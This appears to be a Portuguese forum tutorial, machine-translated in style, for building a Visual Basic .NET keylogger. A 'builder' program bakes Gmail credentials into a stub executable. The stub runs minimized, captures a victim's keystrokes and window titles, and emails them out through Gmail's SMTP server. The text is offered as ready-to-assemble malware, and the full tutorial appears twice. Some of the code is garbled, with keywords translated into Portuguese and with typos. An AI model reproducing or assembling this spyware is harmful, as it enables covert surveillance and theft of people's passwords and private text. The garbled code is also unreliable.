Tweet
Criar seu proprio Keylogger no Visual Basic
Tutorial sobre como fazer um keylogger em Visual Basic. NET, também chamado VB8. Antes de começarmos, eu vou explane-lhe mais alguma coisa sobre o Visual Basic. O Visual Basic é uma linguagem de programação criada pela Microsoft Corporation. Sua linguagem de programação mais populares no mundo, é fácil e bom. Para que você acabou de começar com o Visual Basic, este será ótimo tutorial para aprender um pouco mais sobre isso. Além disso, se você está lendo este tutorial, por favor não apenas copiar / colar .. a melhor maneira de aprender é ler e estudar fonte. Mesmo se o seu avanço e difícil de entender, você vai encontrar maneira de compreendê-lo .. como eu.
OK, agora eu vou explane algo sobre linguagens de programação e como os computadores compreendê-los. Um computador não pode entender qualquer pessoas a língua falada. A língua falada como o Inglês é simplesmente demasiado ambígua geral e para computadores de entender. Temos de nos adaptar à máquina e aprender a linguagem de computador para que o computador possa entender. Aqui é onde entra em visual basic - quando você digita o código-fonte do Visual Basic para o computador, o computador processa estas declarações em linguagem Visual Basic.
ATENÇÃO: não funciona no Win7 & Vista porque o nome da dll que eu uso para obter as chaves não é esse nome para o Vista e win7.! Você pode google o nome. Dll biblioteca para encontrar para Windows7 & Vista
1.Download Microsoft Visual Studio Express - Construir aplicações de borda de corte do Windows de graça se você não já.
2.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Keylogger Builder"> Clique em Ok
3.
Alterar o seguinte a partir das propriedades do Form1:
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Mostrar Ícone = False
StartPosition = CenterScreen
Text = Keylogger Builder
Da caixa de ferramentas acrescentar:
• TextBox1 - O GMail Username textbox
• Textbox2 - A caixa de texto Senha Gmail
• Button1 - O botão Build, Alterar texto para: Build
• Label1 - Alterar texto para: Nome de usuário do Gmail
• Label2 - Alterar texto para: senha do Gmail
4.Now quando você adiciona todos esses, em cima do código de acrescentar:
Código:
Imports System.IO
Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
Código:
Stub Dim, texto1, texto2 As String
Const FileSplit = "keylogger @ @"
Agora, quando você fez com que, simplesmente dê um duplo clique Button1 e adicione:
Código:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space (LOF (1))
FileGet (1 stub,)
FileClose (1)
Se File.Exists ("server.exe") Then
My.Computer.FileSystem.DeleteFile ("server.exe")
End If
FileOpen (1, Application.StartupPath & "\ server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut (1 stub, e FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose (1)
MsgBox ("O Server.exe é edificada!")
Agora você tem seu construtor e agora vamos passar para Stub.
5.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Stub"> Clique em Ok
6.Change o seguinte a partir das propriedades do Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (sem texto)
WindowsState = Minimizado
Da caixa de ferramentas acrescentar:
• Textbox1 - Key Logger (acompanhar tudo o que escrever vítima)
• Textbox2 - GMail Usuário
• TextBox3 - senha do Gmail
• Timer1 - Intervalo Carregar
• Timer2 - Retorna o nome da janela onde se keylogger
teclas (userful)
• Timer3 - Get Chaves
7.
Agora, quando você adicionar todos esses, em cima do código de acrescentar:
Código:
Imports System.IO
Importações System.Net.Mail
Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
Código:
Opções de Dim (), texto1, texto2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim resultado As Integer
Const FileSplit = "keylogger @ @"
Agora clique duas vezes Timer1 e escrever seguinte código:
Código:
MailSetup Dim As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add (TextBox2.Text)
MailSetup.From = New MailAddress (TextBox2.Text)
MailSetup.Body = TextBox1.Text
SMTP Dim SmtpClient ("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = Net.NetworkCredential Novo (TextBox2.Text, TextBox3.Text)
SMTP.Send (MailSetup)
TextBox1.Clear ()
E adicione isso como função para o código-fonte:
BAIXAR COMO ADD FUNÇÃO SE VOCÊ NÃO KNOWGetTheWindwos.rar
Código:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd como Int32, lpString ByVal As String, ByVal cch Como Int32) como Int32
Strin Dim As String = Nothing
GetActiveWindowTitle Private Function () As String
MyStr As String Dim
MyStr = New String (Chr (0), 100)
GetWindowText (GetForegroundWindow, MyStr, 100)
MyStr MyStr.Substring = (0, InStr (MyStr, Chr (0)) - 1)
Retorno MyStr
End Function
Agora clique duas vezes Timer2 para obter os nomes das janelas ativas:
Código:
Se strin <GetActiveWindowTitle> () Em seguida,
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle () & "]:" + vbNewLine
strin GetActiveWindowTitle = ()
End If
Agora dê um duplo clique Form1 e escrever seguinte código:
Código:
ileOpen (1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space (LOF (1))
text2 = Space (LOF (1))
FileGet (1, text1)
FileGet (1, text2)
FileClose (1)
opções = Split (text1, FileSplit)
TextBox2.Text = opções (1)
TextBox3.Text = opções (2)
Timer1.Start ()
Timer2.Start ()
Agora dê um clique duplo código Timer3 e passado:
Código:
Para i = 1 To 255
resultado = 0
result = GetAsyncKeyState (i)
Se o resultado = -32.767 Então
TextBox1.Text = TextBox1.Text + Chr (i)
End If
Next i
Bom galerinha, é isso, boa sorte a quem for monta-lo, e não esqueça, estudem, compreendam e havy fun!!!
Quem gostou da um "obrigado" pra titia M1r4g3
See you
Quem gostou
OK, agora eu vou explane algo sobre linguagens de programação e como os computadores compreendê-los. Um computador não pode entender qualquer pessoas a língua falada. A língua falada como o Inglês é simplesmente demasiado ambígua geral e para computadores de entender. Temos de nos adaptar à máquina e aprender a linguagem de computador para que o computador possa entender. Aqui é onde entra em visual basic - quando você digita o código-fonte do Visual Basic para o computador, o computador processa estas declarações em linguagem Visual Basic.
ATENÇÃO: não funciona no Win7 & Vista porque o nome da dll que eu uso para obter as chaves não é esse nome para o Vista e win7.! Você pode google o nome. Dll biblioteca para encontrar para Windows7 & Vista
1.Download Microsoft Visual Studio Express - Construir aplicações de borda de corte do Windows de graça se você não já.
2.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Keylogger Builder"> Clique em Ok
3.
Alterar o seguinte a partir das propriedades do Form1:
FormBorderStyle = FixedSingle
MaximizeBox = False
MinimizeBox = False
Mostrar Ícone = False
StartPosition = CenterScreen
Text = Keylogger Builder
Da caixa de ferramentas acrescentar:
• TextBox1 - O GMail Username textbox
• Textbox2 - A caixa de texto Senha Gmail
• Button1 - O botão Build, Alterar texto para: Build
• Label1 - Alterar texto para: Nome de usuário do Gmail
• Label2 - Alterar texto para: senha do Gmail
4.Now quando você adiciona todos esses, em cima do código de acrescentar:
Código:
Imports System.IO
Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
Código:
Stub Dim, texto1, texto2 As String
Const FileSplit = "keylogger @ @"
Agora, quando você fez com que, simplesmente dê um duplo clique Button1 e adicione:
Código:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space (LOF (1))
FileGet (1 stub,)
FileClose (1)
Se File.Exists ("server.exe") Then
My.Computer.FileSystem.DeleteFile ("server.exe")
End If
FileOpen (1, Application.StartupPath & "\ server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut (1 stub, e FileSplit & text1 & FileSplit & text2 & FileSplit)
FileClose (1)
MsgBox ("O Server.exe é edificada!")
Agora você tem seu construtor e agora vamos passar para Stub.
5.
• Executar o Visual Basic
• Na guia File clique> Novo projeto
• Aplicação Windows> "Stub"> Clique em Ok
6.Change o seguinte a partir das propriedades do Form1:
FormBorderStyle = FixedToolWindow
StartPosition = CenterScreen
Text = (sem texto)
WindowsState = Minimizado
Da caixa de ferramentas acrescentar:
• Textbox1 - Key Logger (acompanhar tudo o que escrever vítima)
• Textbox2 - GMail Usuário
• TextBox3 - senha do Gmail
• Timer1 - Intervalo Carregar
• Timer2 - Retorna o nome da janela onde se keylogger
teclas (userful)
• Timer3 - Get Chaves
7.
Agora, quando você adicionar todos esses, em cima do código de acrescentar:
Código:
Imports System.IO
Importações System.Net.Mail
Agora sob Public Class Form1 adicionar o seguinte código, que seria strings:
Código:
Opções de Dim (), texto1, texto2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim resultado As Integer
Const FileSplit = "keylogger @ @"
Agora clique duas vezes Timer1 e escrever seguinte código:
Código:
MailSetup Dim As New MailMessage
MailSetup.Subject = My.Computer.Name & ":"
MailSetup.To.Add (TextBox2.Text)
MailSetup.From = New MailAddress (TextBox2.Text)
MailSetup.Body = TextBox1.Text
SMTP Dim SmtpClient ("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = Net.NetworkCredential Novo (TextBox2.Text, TextBox3.Text)
SMTP.Send (MailSetup)
TextBox1.Clear ()
E adicione isso como função para o código-fonte:
BAIXAR COMO ADD FUNÇÃO SE VOCÊ NÃO KNOWGetTheWindwos.rar
Código:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd como Int32, lpString ByVal As String, ByVal cch Como Int32) como Int32
Strin Dim As String = Nothing
GetActiveWindowTitle Private Function () As String
MyStr As String Dim
MyStr = New String (Chr (0), 100)
GetWindowText (GetForegroundWindow, MyStr, 100)
MyStr MyStr.Substring = (0, InStr (MyStr, Chr (0)) - 1)
Retorno MyStr
End Function
Agora clique duas vezes Timer2 para obter os nomes das janelas ativas:
Código:
Se strin <GetActiveWindowTitle> () Em seguida,
TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle () & "]:" + vbNewLine
strin GetActiveWindowTitle = ()
End If
Agora dê um duplo clique Form1 e escrever seguinte código:
Código:
ileOpen (1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space (LOF (1))
text2 = Space (LOF (1))
FileGet (1, text1)
FileGet (1, text2)
FileClose (1)
opções = Split (text1, FileSplit)
TextBox2.Text = opções (1)
TextBox3.Text = opções (2)
Timer1.Start ()
Timer2.Start ()
Agora dê um clique duplo código Timer3 e passado:
Código:
Para i = 1 To 255
resultado = 0
result = GetAsyncKeyState (i)
Se o resultado = -32.767 Então
TextBox1.Text = TextBox1.Text + Chr (i)
End If
Next i
Bom galerinha, é isso, boa sorte a quem for monta-lo, e não esqueça, estudem, compreendam e havy fun!!!
Quem gostou da um "obrigado" pra titia M1r4g3
See you
Quem gostou
Comment